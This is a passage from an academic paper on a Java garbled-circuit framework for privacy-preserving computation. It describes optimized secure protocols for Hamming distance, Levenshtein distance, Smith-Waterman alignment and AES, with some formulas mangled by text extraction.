tions per garbled gate, only one of which will succeed.
Using standard techniques [22], the construction can be
modified so a single decryption suffices. Thus, given one
key for each input wire of the circuit, the evaluator can
compute a key for each output wire of the circuit. Given
the mappings from output-wire keys to bits (provided by
the generator), this allows the evaluator to compute the
actual output of f . If desired, the evaluator can then send
this output back to the circuit generator (as noted in Sec-
tion 1.2, sending the output back to the generator is a pri-
vacy risk unless the semi-honest model can be imposed
through some other mechanism).

Optimizations. Several optimizations can be applied
to the standard garbled circuits protocol, all of which
we use in our implementation. Kolensikov and Schnei-
der [18] introduce a technique that eliminates the need
to garble XOR gates (so XOR gates become “free”, in-
curring no communication or cryptographic operations).
Pinkas et al. [27] proposed a technique to reduce the size
of a garbled table from four to three ciphertexts, thus sav-
ing 25% of network bandwidth.2

2.2 Oblivious Transfer

One-out-of-two oblivious transfer (OT2
1) [5, 28] is a cru-

cial component of the garbled-circuit approach. An OT2
1

protocol allows a sender, holding strings w0,w1, to trans-
fer to a receiver, holding a selection bit b, exactly one of
the inputs wb; the receiver learns nothing about w1−b,
and the sender does not learn b. Oblivious transfer
has been studied extensively, and several protocols are
known. In our implementation we use the Naor-Pinkas
protocol [24], secure in the semi-honest setting. We also
use oblivious-transfer extension [14] which can achieve
a virtually unlimited number of oblivious transfers at the
cost of (essentially) k executions of OT2

1 (where k is a sta-
tistical security parameter) plus a marginal cost of a few
symmetric-key operations per additional OT. In our im-
plementation, the time for computing the “base” k = 80
oblivious transfers is about 0.6 seconds, while the on-line
time for each additional OT2

1 is roughly 15 μs.
For completeness, we note that there are known

oblivious-transfer protocols with stronger security prop-
erties [10], as well as techniques for oblivious-transfer
extension that are secure against malicious adver-
saries [9]. These could easily be integrated with our im-
plementation to provide the stronger privacy properties

2A second proposed optimization reduces the size by approximately
50%, but cannot be combined with the free-XOR technique.

for situations where the result does not go back to the
circuit generator as discussed in Section 1.2.

3 Implementation Overview

Our implementation allows programmers to construct
protocols in a high-level language while providing
enough control over the circuit design to enable efficient
implementations. The source code for the system and all
the applications described in this paper are available un-
der an open-source license from http://MightBeEvil.org.
Our code base is very small: the main framework is
about 1500 lines of Java code, and a circuit library (see
Section 3.3) contains an additional 700 lines of code.
The main features of our framework that enable efficient
protocols are its support for pipelined circuit execution
(Section 3.1) and the optimizations enabled by its circuit-
level representation that allow developers to minimize
the number of garbled gates needed (Section 3.2). Sec-
tion 3 describes our circuit library and how a programmer
defines a new circuit component. Section 3.4 describes
implementation parameters used in our experiments.

3.1 Pipelined Circuit Execution
The primary limitation of previous garbled-circuit imple-
mentations is the memory required to store the entire cir-
cuit in memory. There is no need, however, for either
the circuit generator or evaluator to ever hold the entire
circuit in memory. The circuit generation and evaluation
processes can be overlapped in time (pipelined), elim-
inating the need to ever store the entire garbled circuit
in memory as well as the need for the circuit generator
to delay transmission until the entire garbled circuit is
ready. In our framework, the processing of the garbled
gates is pipelined to avoid the need to store the entire cir-
cuit and to improve the running time. This is automated
by our framework, so a user only needs to construct the
desired circuit.

At the beginning of the evaluation both the circuit
generator and the circuit evaluator instantiate the cir-
cuit structure, which is known to both of them and is
fairly small since it can reuse components just like a non-
garbled circuit. When the protocol is executed, the gener-
ator transmits garbled gates over the network as they are
produced, in an order defined by the circuit structure. As
the client receives the garbled gates, it associates them
with the corresponding gate of the circuit. Note that the
order of generating and evaluating the circuit does not
depend on the parties’ inputs (indeed, it cannot since that
would leak information about those inputs), so there is no
overhead required to keep the two parties synchronized.

The evaluator then determines which gate to evaluate
next based on the available output values and tables. Gate
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evaluation is triggered automatically when all the neces-
sary inputs are ready. Once a gate has been evaluated it
is immediately discarded, so the number of truth tables
stored in memory is minimal. Evaluating larger circuits
does not significantly increase the memory load on the
generator or evaluator, but only affects the network band-
width needed to transmit the garbled tables.

3.2 Generating Compact Circuits

To build an efficient two-party secure computation pro-
tocol, a programmer first analyzes the target applica-
tion to identify the components that need to be com-
puted privately. Then, those components are translated
to digital circuit designs, which are realized as Java
classes. Finally, with support from our framework’s core
libraries, the circuits are compiled and packaged into
server-side and client-side programs that jointly instan-
tiate the garbled-circuit protocol.

The cost of evaluating a garbled circuit protocol scales
linearly in the number of garbled gates. The efficiency
of our approach is due to the pipelined circuit execu-
tion technique described above, as well as several meth-
ods we use to minimize the number of non-XOR gates
that need to be evaluated. One way to reduce the num-
ber of gates is to identify parts of the computation that
only require private inputs from one party. These com-
ponents can be computed locally by that party so do not
require any garbled circuits. By designing circuits at the
circuit level rather than using a high-level language like
SFDL [22], we are able to take advantage of these op-
portunities (for example, by computing the key schedule
for AES locally; see Section 7). For the parts of the com-
putation that need to be done cooperatively, we exploit
several opportunities enabled by our approach to reduce
the number of non-XOR gates needed.

Minimizing bit width. To improve performance, our
circuits are constructed with the minimal width required
for the correctness of the programs. Our framework sup-
ports this by allowing most library circuits to be instan-
tiated with a parameter that specifies the sizes of the in-
puts, a flexibility that was not present in prior implemen-
tations of secure computation. For example, SFDL’s sim-
plicity encourages programmers to count the number of
1s in a 900-bit number by writing code that leads to a
circuit using 10-bit accumulators throughout the compu-
tation even though narrower accumulators are sufficient
for early stages. The Hamming distance, Levenshtein
distance, and Smith-Waterman applications described in
this paper all reduce width whenever possible. This has
a significant impact on the overall efficiency: for exam-
ple, it reduces the number of garbled gates needed for our

Levenshtein-distance protocol by 20% (see Section 5.2).

Fast table lookups. Constant-size lookup tables are fre-
quently used in real-world applications (e.g., the score
matrix for Smith-Waterman and the SBox for AES).
Such lookup tables can be efficiently implemented as a
single generalized m-to-n garbled gate, where m is num-
ber of bits needed to represent the index and n is the num-
ber of bits needed to represent each table entry. This,
in turn, can be implemented within as a garbled cir-
cuit using a generalization of the standard “permute-and-
encrypt” technique [22]. The advantage of this technique
is that the circuit evaluator only needs to perform a single
decryption operation to look up an entry in an arbitrarily
large table. On the other hand, the circuit generator still
needs to produce and transmit the entire table, so the cost
for the circuit generator and the bandwidth are high. If
the table entries have any structure there may be more
efficient alternatives (see Section 7 for an example).

3.3 Circuit Library

Our framework includes a library of circuits defined for
efficient garbled execution. Applications can be built by
composing these circuits, but more efficient implementa-
tions are usually possible when programmers define their
own custom-designed circuits.

The hierarchy of circuits is organized following the
Composite design pattern [6] with respect to the build()
method. Circuits are constructed in a modular fashion,
using Wire objects to connect them together. Appendix A
provides a UML class diagram of the core classes of our
framework. The Wire and Circuit classes follow a varia-
tion of the Observer pattern, which offers a kind of pub-
lish/subscribe functionality [6]. The main difference is
that when a wire w is connected to a circuit on port p
(represented as a position index to the inputWires array
of the circuit), all the observers of the port p automati-
cally become observers of w.

The SimpleCircuit abstract class provides a library of
commonly used functions starting with 2-to-1 AND, OR,
and XOR gates, where the AND and OR gates are im-
plemented using Yao’s garbled-circuit technique and the
XOR gate is implemented using the free-XOR optimiza-
tion. Implementing a NOT gate is also free since it can
be implemented as an XOR with constant 1.

The circuit library also provides more complex circuits
for, e.g., adders, muxers, comparators, min, max, etc.,
where these circuits were designed to minimize the num-
ber of non-XOR gates using the techniques described in
Section 3.2. Optimized circuits for additional functions
can be added, as needed. A circuit for some desired func-
tion f can be constructed from the components provided
in our circuit library, without needing to build the circuit
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entirely from AND/OR/NOT gates.
Composite circuits are constructed using the build()

method, with the general structure shown below:

public void build() throws Exception {
createInputWires();
createSubCircuits();
connectWires();
defineOutputWires();
fixInternalWires();

}
To define a new circuit, a user creates a new subclass
of CompositeCircuit. Typically it is only necessary to
override the createSubCircuits(), connectWires(), and de-
fineOutputWires() methods. If internal wires are fixed to
known values, these can be set by overriding fixInternal-
Wires(). Our framework automatically propagates known
signals which improves the run-time whenever any inter-
nal wires are fixed in this way. For example, given a cir-
cuit designed to compute the Hamming distance of two
1024-bit vectors, we can immediately obtain a circuit
computing the Hamming distance of two 512-bit vectors
by fixing 512 of each party’s input wires to 0. Because of
the way we do value propagation, this does not incur any
evaluation cost. As another example, when running the
Smith-Waterman algorithm (see Section 6) certain values
are fixed to public constants and these can be fixed in our
circuit implementing the algorithm in the same way.

3.4 Implementation Details
Throughout this paper, we use 80-bit wire labels for gar-
bled circuits and statistical security parameter k = 80
for oblivious-transfer extension. For the Naor-Pinkas
oblivious-transfer protocol, we use an order-q subgroup
of ℤ∗

p with ∣q∣= 128 and ∣p∣= 1024. These settings cor-
respond roughly to the ultra-short security level as used
in TASTY [11]. We used SHA-1 to generate the garbled
truth-table entries. Each entry is computed as:

Enck

w
bi
i ,w

b j
j

(
w

g(bi,b j)

k

)
= SHA-1

(
wbi

i ∥w
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j ∥k

)
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k .

All cryptographic primitives were used as provided by
the Java Cryptography Extension (JCE). Our experi-
ments were performed on two Dell boxes (Intel Core Duo
E8400 3GHz) connected on a local-area network.

4 Hamming Distance

The Hamming distance Hamming(aaa,bbb) between two ℓ-
bit strings aaa = aℓ−1 ⋅ ⋅ ⋅a1a0 and bbb = bℓ−1 ⋅ ⋅ ⋅b1b0 is sim-
ply the number of positions i where bi ∕= ai. Here we
consider secure computation of Hamming(aaa,bbb) where
one party holds aaa and the other has input bbb. Secure

Figure 1: Circuit computing Hamming distance.

Hamming-distance computation has been used as a sub-
routine in several privacy-preserving protocols [15, 26].
As part of their SciFI work, Osadchy et al. [26] show
a protocol based on homomorphic encryption for secure
computation of Hamming distance. To reduce the on-
line cost of the computation, SCiFI uses pre-computation
techniques aggressively. They report that for ℓ = 900
their protocol has an “off-line” running time of 213s and
an “on-line” running time of 0.31s. (Note that their mea-
sure of “off-line running time” includes the time for any
processing done locally by one party before sending a
message to the other party, even when the local process-
ing depends on that party’s input.)

4.1 Circuit-Based Approach

We explore a garbled-circuit approach to secure Ham-
ming-distance computation. The high level design of a
circuit Hamming for computing the Hamming distance is
given in Figure 1. The circuit first computes the XOR
of the two ℓ-bit input strings vvv,vvv′, and then uses a sub-
circuit Counter to count the number of 1s in the result.
The output is a k-bit value, where k = ⌈logℓ⌉.

A naı̈ve design of the Counter submodule is to use ℓ
copies of a k-bit AddOneBit circuit, so that in each of
the ℓ iterations the Counter circuit accumulates one bit
of vvv⊕ vvv′′′ in the k-bit counter.

Since XOR gates are free and an k-bit Adder needs
only k non-XOR gates [17], the Hamming circuit with
the naı̈ve Counter needs ℓ ⋅ ⌈logℓ⌉ non-free gates. We
improve upon this by changing the Counter design so as
to reduce the number of gates while enabling the gates to
be evaluated in parallel.

First, we observe that the widths of the early one-bit
adders can be far smaller than k bits. At the first level,
the inputs are single bits, so a 1-bit adder with carry is
sufficient; at the next level, the inputs are 2-bits, so a 2-bit
adder is sufficient. This follows throughout the circuit,
halving the total number of gates to (ℓ⌈logℓ⌉)

2 .
Second, the serialized execution order is unnecessary.

We improved the naı̈ve design to yield a parallel ver-
sion of Counter given in Figure 2. Our current execution
framework does not support parallel execution, but is de-
signed so that this can be readily supported in a future
version.
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Figure 2: Parallelized Counter circuit.

4.2 Results
We implemented a secure protocol for Hamming-
distance computation using the circuit from the previous
section and the Java framework described in Section 3.
Computing the Hamming distance between two 900-bit
vectors took 0.019 seconds and used 56 KB bandwidth
in the online phase (including garbled circuit generation
and evaluation), with 0.051 seconds (of which the OT
takes 0.018 seconds) spent on off-line preprocessing (in-
cluding garbled circuit setup and the OT extension proto-
col setup and execution). For the same problem, the pro-
tocol used in SCiFI took 0.31 seconds for on-line com-
putation, even at the cost of 213 seconds spent on pre-
processing.3 The SCiFI paper did not report bandwidth
consumption, but we conservatively estimate that their
protocol would require at least 110 KB. In addition to
the dramatic improvement in performance, our approach
is quite scalable. Figure 3 shows how the running time
of our protocol scales with increasing input lengths.

The garbled-circuit implementation has another ad-
vantage as compared to the homomorphic-encryption
approach taken by SCiFI: if the obliviously calculated
Hamming distances are not the final result, but are only
intermediate results that are used as inputs to another
computation, then a garbled-circuit protocol is much bet-
ter in that by its nature it can be readily composed with
any subsequent secure computation. In contrast, this
is very inconvenient for homomorphic-encryption-based
protocols because arbitrary operations over the encryp-
tions are not possible. As an example, in the SCiFI ap-
plications the parties do not want to reveal the computed
Hamming distance h directly but instead only want to
determine if h > hmax for some public value hmax. Os-
adchy et al. had to design a special protocol involving
adding random noise to the h values and using an obliv-

3Osadchy et al. [26] used a 2.8 GHz dual core Pentium D with 2 GB
RAM for their experiments, so the comparison here is reasonably close.
Also note that for their experiments, Osadchy et al. configured their
host to turn off the Nagle ACK delay algorithm, which substantially
improved network performance. This is not realistic for most network
settings and was not done in our experiments.
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Figure 3: On-line running time of our Hamming-distance
protocol for different input lengths.

ious transfer protocol to handle this. In our case, how-
ever, we would only need to add a comparator circuit af-
ter the Hamming-distance computation. In fact, with our
approach further optimizations would be possible when
hmax is known since at most the ⌈loghmax⌉ low-order bits
of the Hamming distance need to be computed.

5 Levenshtein Distance

The Levenshtein distance (also known as edit dis-
tance) between two strings has applications in DNA and
protein-sequence alignment, as well as text comparison.
Given two strings α and β , the Levenshtein distance be-
tween them (denoted Levenshtein(α,β )) is defined as the
minimum number of basic operations (insertion, dele-
tion, or replacement of a single character) that are needed
to transform α into β . In the setting we are concerned
with here, one party holds α and the other holds β and
the parties wish to compute Levenshtein(α,β ).

Algorithm 1 is a standard dynamic-programming al-
gorithm for computing the Levenshtein distance between
two strings. The invariant is that D[i][j] always rep-
resents the Levenshtein distance between α[1 . . .i] and
β [1 . . .j]. Lines 2–4 initialize each entry in the first row
of the matrix D, while lines 5–8 initialize the first col-
umn. Within the two for-loops (lines 8–13), D[i][j] is
assigned at line 11 to be the smallest of D[i−1][j] + 1,
D[i][j−1] + 1, or D[i−1][j−1] + t (where t is 0 if
α[i] = β [j] and 1 if they are different). These corre-
spond to the three basic operations insert α[i], delete
β [j], and replace α[i] with β [j].

5.1 State of the Art
Jha et al. give the best previous implementation of a se-
cure two-party protocol for computing the Levenshtein
distance [16]. Instead of using Fairplay, they developed
their own compiler based on Fairplay, while borrow-
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Algorithm 1 Levenshtein(α , β )

1: Initialize D[α.length][β .length];
2: for i← 0 to α.length do
3: D[i][0]← i;
4: end for
5: for j← 0 to β .length do
6: D[0][j]← j;
7: end for
8: for i← 1 to α.length do
9: for j← 1 to β .length do

10: t← (α[i] = β [j]) ? 0 : 1;
11: D[i][j]← min(D[i−1][j]+1, D[i][j−1]+1,

D[i−1][j−1]+t);
12: end for
13: end for

ing the function-description language (SFDL) and the
circuit-description language (SHDL) directly from Fair-
play. Jha et al. investigated three different strategies for
securely computing the Levenshtein distance. Their first
protocol (Protocol 1) directly instantiated Algorithm 1
as an SFDL program, which was then compiled into a
garbled-circuit implementation. Because their garbled-
circuit execution approach required keeping the entire
circuit in memory, they concluded that garbled circuits
could not scale to large inputs. The largest problem size
their compiler and execution environment could handle
before crashing was where the parties’ inputs were 200-
character strings over an 8-bit (256-character) alphabet.

Their second protocol combined garbled circuits with
an approach based on secure computation with shares.
The resulting protocol was scalable, but extremely slow.
Finally, they proposed a hybrid protocol (Protocol 3) by
combining the first two approaches to achieve better per-
formance with scalability.

According to their results, it took 92 seconds for Pro-
tocol 1 to complete a problem of size 100 × 100 (i.e.,
two strings of length 100) over an 8-bit alphabet. This
protocol required nearly 2 GB of memory to handle the
200×200 case [16]. Their flagship protocol (Protocol 3),
which is faster for larger problem sizes, took 658 sec-
onds and used 364.3 MB bandwidth on a problem of
size 200×200 over an 8-bit alphabet.

5.2 Circuit-Based Approach
We observed that the circuit used for secure computation
of Levenshtein distance can be much smaller than the cir-
cuit produced from a high-level SFDL description. The
main reason is that the SFDL description does not dis-
tinguish parts of the computation that can be performed
locally by one of the parties, nor does it take advantage
of the actual number of bits required for values at inter-

mediate stages of the computation.
The portion of the computation responsible for initial-

izing the matrix (lines 2–7) does not require any collabo-
ration, and thus can be completed by each party indepen-
dently. Moreover, since the length of each party’s private
string is not meant to be kept secret, the two for-loops
(lines 8–9) can be managed by each party independently
as long as they keep the inner executions synchronized,
leaving only two lines of code (lines 10–11) in the inner-
most loop that need to be computed securely.

Let ℓ denote the length of the parties’ input strings, as-
sumed to be over a σ -bit alphabet. Figure 5a presents a
circuit, LevenshteinCore, that is computationally equiv-
alent to lines 10–11. The T (stands for “test”) circuit in
that figure outputs 1 if the input strings provided are dif-
ferent. Figure 4 shows the structure of the T circuit. (For
the purposes of the figures in this section, we assume
σ = 2 since this is the alphabet size that would be used
for genomic comparisons. Nevertheless, everything gen-
eralizes easily to larger σ .) For a σ -bit alphabet, the T
circuit uses σ −1 non-free gates.

The rest of the circuit computes the minimum of the
three possible edits (line 11 in Algorithm 1). We be-
gin with the straightforward implementation shown in
Figure 5a. The values of D[i−1][j], D[i][j−1], and
D[i−1][j−1] are each represented as ℓ-bit inputs to the
circuit. For now, this is fixed as the maximum value of
any D[i][j] value. Later, we reduce this to the maximum
value possible for a particular core component. Because
of the way we define ℓ there is no need to worry about
the carry output from the adders since ℓ is defined as the
number of bits needed to represent the maximum out-
put value. The circuit shown calculates exactly the same
function as line 11 of Algorithm 1, producing the out-
put value of D[i][j]. The full Levenshtein circuit has one
LevenshteinCore component for each i and j value, con-
nected to the appropriate inputs and producing the output
value D[i][j]. The output value of the last Levenshtein-
Core component is the Levenshtein distance.

Recall that each ℓ-bit AddOneBit circuit uses ℓ non-
free gates, and each ℓ-bit 2-MIN uses 2ℓ non-free
gates. So, for problems on a σ -bit alphabet, each ℓ-bit
NaiveLevenshteinCore circuit uses 7ℓ+ σ − 1 non-free
gates. Next, we present two optimizations that reduce
the number of non-free gates involved in computing the

Figure 4: T circuit.
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(a) Naı̈ve (b) Better (c) Final

Figure 5: Implementations of the Levenshtein core circuit.

Levenshtein core to 5ℓ+σ .
Since min(D[i−1][j] + 1,D[i][j−1] + 1) is equiv-

alent to min(D[i−1][j],D[i][j−1]) + 1, we can com-
bine the two AddOneBit circuits (at the top left of Fig-
ure 5a) into a single one, and interchange it with the sub-
sequent 2-MIN as shown in Figure 5b. The circuits in
the dashed box in Figure 5b compute min(x+1,y+t),
where t ∈ {0,1}. This is functionally equivalent to:

if (y> x) then x+1 else y+t.

Hence, we can reuse one of the AddOneBit circuits by
putting it after the GT logic embedded in the MIN cir-
cuit. This leads to the optimized circuit design shown
in Figure 5c. Note that the 1-bit output wire connect-
ing the 2-MIN and 1-bit MUX circuits is essentially the
1-bit output of the GT sub-circuit inside 2-MIN. This
change reduces the number of gates in the core circuit
to 2×2ℓ+ ℓ+σ −1+1 = 5ℓ+σ .

The final optimization takes advantage of the obser-
vation that the minimal number of bits needed to repre-
sent D[i][j] varies throughout the computation. For ex-
ample, one bit suffices to represent D[1][1] while more
bits are required to represent D[i][j] for larger i’s and
j’s. The value of D[i][j] can always be represented using
⌈logmin(i,j)⌉ bits. The number of gates decreases by:

1−
∑ℓ

i=1 ∑ℓ
j=1

⌈
log

[
min(i, j)

]⌉

ℓ2⌈logℓ⌉ .

For ℓ = 200 this results in a 25% savings, but the effect
decreases as ℓ grows.

Although it would be possible to describe such a cir-
cuit using a high-level language like SFDL, it would be
very tedious and awkward to do so and would require a
customized program for each input size. Hence, SFDL
programs tend to allocate more than the number of bits
needed to ensure correctness of the protocol output.

5.3 Results

We implemented a protocol for secure computation of
Levenshtein distance using the circuit described above
and our framework from Section 3. The protocol handles
arbitrary input lengths ℓ (it also handles the case where
the input strings have different lengths) and arbitrary al-
phabet sizes 2σ . It completes a problem of size 200×200
over a 4-character alphabet in 16.38 seconds (of which
less than 1% is due to OT) using 49 MB bandwidth. The
dependence of the running time on σ is small: for σ = 8
our protocol takes 18.4 seconds in the 200× 200 case,
which is 29 times faster than the results of Jha et al. [16].

Our protocol is highly scalable, as shown in Figure 6.
The largest problem instance we ran is 2000 × 10000
(not shown in the figure), which used a total of 1.29 bil-
lion non-free binary gates and completed in under 223
minutes (at a rate of over 96,000 gates per second). In
addition, our approach enables further optimizations for
many practical scenarios. For example, if the parties are
only interested in determining whether the Levenshtein
distance is below some threshold d, then only the ⌈logd⌉
low-order bits of the result need to be computed and the
number of bits for an entry can be reduced.

6 Smith-Waterman

The Smith-Waterman algorithm (Algorithm 2) is a popu-
lar method for genome and protein alignment [23,31]. In
contrast to Levenshtein distance which measures dissimi-
larity, the Smith-Waterman score measures similarity be-
tween two sequences (higher scores mean the sequences
are more similar). The algorithm has a basic structure
similar to the algorithm for computing Levenshtein dis-
tance. The differences are: (1) the preset entries (the first
row and the first column) are initialized to 0; (2) the al-
gorithm has a more sophisticated core (lines 10–12) that
involves an affine gap function gap and computes the
maximum score across all previous entries in the row and
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Figure 6: Overall running time of our Levenshtein-
distance protocol. (Plotted on a log-log scale; the prob-
lem size is 200×DNA Length and σ = 2.)

column; and (3) the algorithm uses a fixed 2-dimensional
score matrix score.

In practice, the gap function is typically of the form
gap(x) = a+ b ⋅ x where a, b are publicly known, neg-
ative integer constants. By choosing a and b appropri-
ately, one can account for the fact that the evolutionary
likelihood of inserting a single large DNA segment is
much greater than the likelihood of multiple insertions
of smaller segments (of the same total length). A typical
gap function is gap(x) = −12− 7x, which is what we
use in our evaluation experiments.

The 2-dimensional score matrix score quantifies how
well two symbols from an alphabet match each other. In
comparing proteins, the symbols represent amino acids
(one of twenty possible characters including stop sym-
bols). The entries on the diagonal of the score matrix
are larger and positive (since each symbol aligns well
with itself), while all others are smaller and mostly neg-
ative numbers. The actual numbers vary, and are com-
puted based on statistical analysis of a genome database.
We use the BLOSUM62 [12] score matrix for computa-
tion over randomly generated protein sequences.

To obtain the optimal alignment, one first computes
matrix D using Algorithm 2, then finds the entry in D with
the maximum value and traces the path backwards to find
how this value was derived. In a privacy-preserving set-
ting, the full trace may reveal too much information. In-
stead, it may be used as an intermediate value for a con-
tinued secure computation, or just aspects of the result
(e.g., the score or starting position) could be revealed.

6.1 State of the Art

The only previous attempt to implement a secure Smith-
Waterman computation is by Jha et al. [16]. (An alternate
approach, suggested by Szajda et al. [32], is to perform
the computation normally but operating on transformed

Algorithm 2 Smith-Waterman(α , β , gap, score)

1: Initialize D[α.length][β .length];
2: for i← 0 to α.length do
3: D[i][0]← 0;
4: end for
5: for j← 0 to β .length do
6: D[0][j]← 0;
7: end for
8: for i← 1 to α.length do
9: for j← 1 to β .length do

10: rMax← max1≤o≤i(D[i−o][j]+gap(o));
11: cMax← max1≤o≤j(D[i][j−o]+gap(o));
12: D[i][j]← max(0,rMax,cMax,

D[i−1][j−1] + score[α[i]][β [j]]);
13: end for
14: end for

data instead of the parties’ private data. It is unclear,
however, what privacy or correctness properties can be
achieved by this approach.) Jha et al.’s protocol follows
a similar approach to their Levenshtein-distance proto-
cols described in Section 5, and led them to conclude
that garbled-circuit implementations could not handle
even small inputs (their garbled-circuit implementation
for Smith-Waterman could not handle a 25×25 size in-
put). Hence, they invented a hybrid protocol (Protocol 3)
to implement the Smith-Waterman algorithm.

Their prototype had two limitations that prevent direct
performance comparisons:

1. They use only 8 bits to represent each entry of the
dynamic-programming matrix, but for most protein-
alignment problems the similarity scores between
even two short sequences of length 25 can overflow
an 8-bit integer, and for larger sequences it is bound
to overflow. In the BLOSUM62 scoring table, the
typical score for two matching proteins is 6 (and as
high as 11).

2. They used a constant gap function (gap(x) = −4)
that is inappropriate for practical scenarios.

Despite these simplifications in their work, our complete
Smith-Waterman implementation (that does not make
any of these simplifications) still runs more than twice
as fast as their implementation.

6.2 Circuit-Based Approach

The core of the Smith-Waterman algorithm (lines 10–
12 of Algorithm 2) involves ADD and MAX circuits. To
reduce the number of non-free gates, we replace lines
10–11 with the code in Algorithm 3. This allows us to
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Algorithm 3 Restructured Smith-Waterman core
rMax← 0;
for o← 1 to i do
rMax← max(rMax, D[i−o][j]+gap(o));

end for
cMax← 0;
for o← 1 to j do
cMax← max(cMax, D[i][j−o]+gap(o));

end for

use much narrower ADD and MAX circuits for some en-
tries since we know the value of D[i][j] is bounded by
⌈log(min(i, j) ⋅maxscore)⌉, where maxscore is the great-
est number in the score matrix. We only need to make
sure that values are appropriately sign-extended (a free
operation) when they are carried between circuits of dif-
ferent width.

We also note that gap(o), which serves as the second
operand to every ADD circuit, can always be safely com-
puted without collaboration since it does not depend on
any private input. Thus, instead of computing gap(o) us-
ing a complex garbled circuit, it can be computed directly
with the output value fed directly into the ADD circuit.
Being able to tightly bound the part of the computation
that really needs to be done privately is another advan-
tage of our approach.

The matrix-indexing operation on score does need to
be done in a privacy-preserving way since its inputs re-
veal symbols in the private inputs of the parties. Since
the row index and column index each can be denoted
as a 5-bit number, we could view the score table as
a 10-to-1 garbled circuit (whereas each entry in truth
table is an encryption of 5 wire keys representing the
output value). Using an extension of the permute-and-
encrypt technique, it leads to a garbled table contain-
ing 210 = 1024 ciphertexts (of which 624 are null en-
tries since the actual table is 20 × 20, but which must
be transmitted as random entires to avoid leaking infor-
mation). However, observe that one of the two indexes
is known to the circuit generator since it corresponds to
the generator’s input value at a known location. Hence,
we use the index known to the circuit generator to spe-
cialize the two-dimensional score table lookup to a one-
dimensional table lookup. This reduces the cost of obliv-
ious table lookup to computing and transmitting 20 ci-
phertexts and 12 random entries (to fill the 25-entry ta-
ble) for the circuit generator, while the work for the cir-
cuit evaluator is still performing one decryption.

6.3 Results
Our secure Smith-Waterman protocol takes 415 seconds
and generates 1.17 GB of network traffic running on two
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Figure 7: Overall running time of the Smith-Waterman
protocol. (Plotted on a log-log scale; problem size
20×Codon Sequence Length.)

protein sequences of length 60. The garbled-circuit im-
plementation by Jha et al. did not scale to a 60×60 input
size, but their Protocol 3 was able to complete on this
input length in nearly 1000 seconds (but recall that due
to simplifications they used, their implementation would
not usually produce the correct result). Figure 7 shows
the running time of our implementation as a function of
the problem size.

7 AES

AES is a standardized block cipher. We focus on AES-
128 which uses a 128-bit key as well as a 128-bit block
length. The high-level operation of AES is shown in List-
ing 1 (based on Daemen and Rijmen’s report [3]). It takes
a 16-byte array msg and a large byte array key, which is
the output of the AES key schedule. The variable Nr de-
notes the number of rounds (for AES-128, Nr=10).

In privacy-preserving AES, one party holds the key k
and the other holds an input block x. At the end of the
protocol, the second party learns AESk(x). This function-
ality has a number of interesting applications including
encrypted keyword search (see Pinkas et al. [27]).

7.1 Prior Work
Pinkas et al. [27] implement AES as an SFDL program,
which is in turn compiled to a huge SHDL circuit con-
sisting of more than 30,000 gates. Henecka et al. [11]
used the same circuit, but obtained better online perfor-
mance by moving more of the computation to the pre-
computation phase. The best performance results they
reported are 3.3 seconds in total and 0.4 seconds online
per block-cipher evaluation.

7.2 Our Approach
We also use garbled circuits to implement privacy-
preserving AES. However, our technique is distinguished
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public static byte[] Cipher(byte[] key, byte[] msg) {
byte[] state = AddRoundKey(key, msg, 0);
for (int round = 1; round < Nr; round++) {

state = SubBytes(state);
state = ShiftRows(state);
state = MixColumns(state);
state = AddRoundKey(key, state, round);

}

state = SubBytes(state);
state = ShiftRows(state);
state = AddRoundKey(key, state, Nr);
return state;

}
Listing 1: The AES block cipher.

from previous ones in that instead of constructing a huge
circuit, we derive our privacy-preserving implementation
around the structure of a traditional program, following
the code in Listing 1. Our guiding principle is to iden-
tify the minimal subset of the computation that needs to
be performed in a privacy-preserving manner, and only
use garbled circuits for that portion of the computation.
Specifically, we observe that the entire key schedule can
be computed locally by the party holding the key. There
is no need to use garbled circuits to compute the key
schedule since it only depends on one party’s data.

Overview. To make the implementation simpler, we ex-
plicitly group the wire labels of every 8-bit byte into a
State object, representing the intermediate results of gar-
bled circuits. Compared to the original code (Listing 1),
we only need to replace the built-in data type byte with
our custom type State in building the code for imple-
menting the garbled circuit. Since the state is repre-
sented by garbled wire labels, we can compose circuits
implementing each execution phase to perform the se-
cure computation.

As noted earlier, the value of the key which is the
output of the key schedule can be executed by Alice
alone, and then used as effective input to a circuit. This
enables us to replace the expensive privacy-preserving
key schedule computation with less expensive oblivious
transfers (which, due to the oblivious-transfer extension,
are cheaper than using garbled circuits).

Second, as in many other real-world AES cipher im-
plementations, the SubBytes subroutine dominates the
resource (e.g., time and hardware area) consumption.
We consider two possible designs for implementing the
SubBytes subroutine. The first design minimizes online
time for situations where preprocessing is possible; the
second minimizes total time in the absence of idle peri-
ods for preprocessing.

Third, the ShiftRows subroutine imposes no cost for

our circuit implementation since this subroutine merely
impacts the wiring but requires no additional gates.

The MixColumns subroutine requires secure compu-
tation, but we design a circuit for this that uses only
XORs. The AddRoundKey subroutine is realized by a Bit-
WiseXOR circuit that simply juxtaposes 128 XOR gates.

SubBytes. The SubBytes component dominates the
time for AES, so we consider two alternate designs.

Minimizing online time. Our first design seeks to min-
imize the online execution time by moving as much of
the work as possible to the preprocessing phase. The
SubBytes subroutine can be implemented with sixteen
8-bit-to-8-bit garbled tables, similar to the score matrix
used in the Smith-Waterman application. From the per-
spective of the circuit generator, this results in a garbled
“gate” with 28 × 8 = 2048 ciphertexts. The circuit eval-
uator need only decrypt 8 of these (i.e., one table entry)
at a cost of 4 hash evaluations (since we use 80-bit wire
labels and SHA-1, with 160-bit output length, for the en-
cryption). This design is distinguished by its very low
online cost, so is well suited to situations where the pri-
mary goal is to minimize the online execution time.

Minimizing total time. Our second design aims to
minimize the total execution time by implementing
SubBytes with an efficient circuit derived from the work
of Wolkerstorfer et al. [33]. The two logical components
of SubBytes are computing an inverse over GF(28) and
an affine transformation over GF(2). The circuit we
use to compute the inverse over GF(28) is given in Fig-
ure 8. In essence, GF(28) is viewed as an extension
of GF(24), so that an element of GF(28) is mapped to
a vector of length two over GF(24). A series of oper-
ations over GF(24) are applied to these values, which
are then mapped back to an element in GF(28). In this
circuit diagram, Map and Inverse Map circuits realize
the bijection between GF(28) and (GF(24))2; ⊕ and ⊗
represent addition and multiplication over GF(24), re-
spectively. The affine transform over finite field GF(2)
and all of the component circuits except for the ⊗ and
GF(24)Inverse circuits can be implemented using XOR
gates alone. Since each ⊗ circuit has 16 non-free gates
and each GF(24)Inverse has 10 non-free gates, the to-
tal number of non-free gates per GF(28)Inverse circuit
is 16×3+10 = 58.

MixColumns. The core functionality of MixColumns is
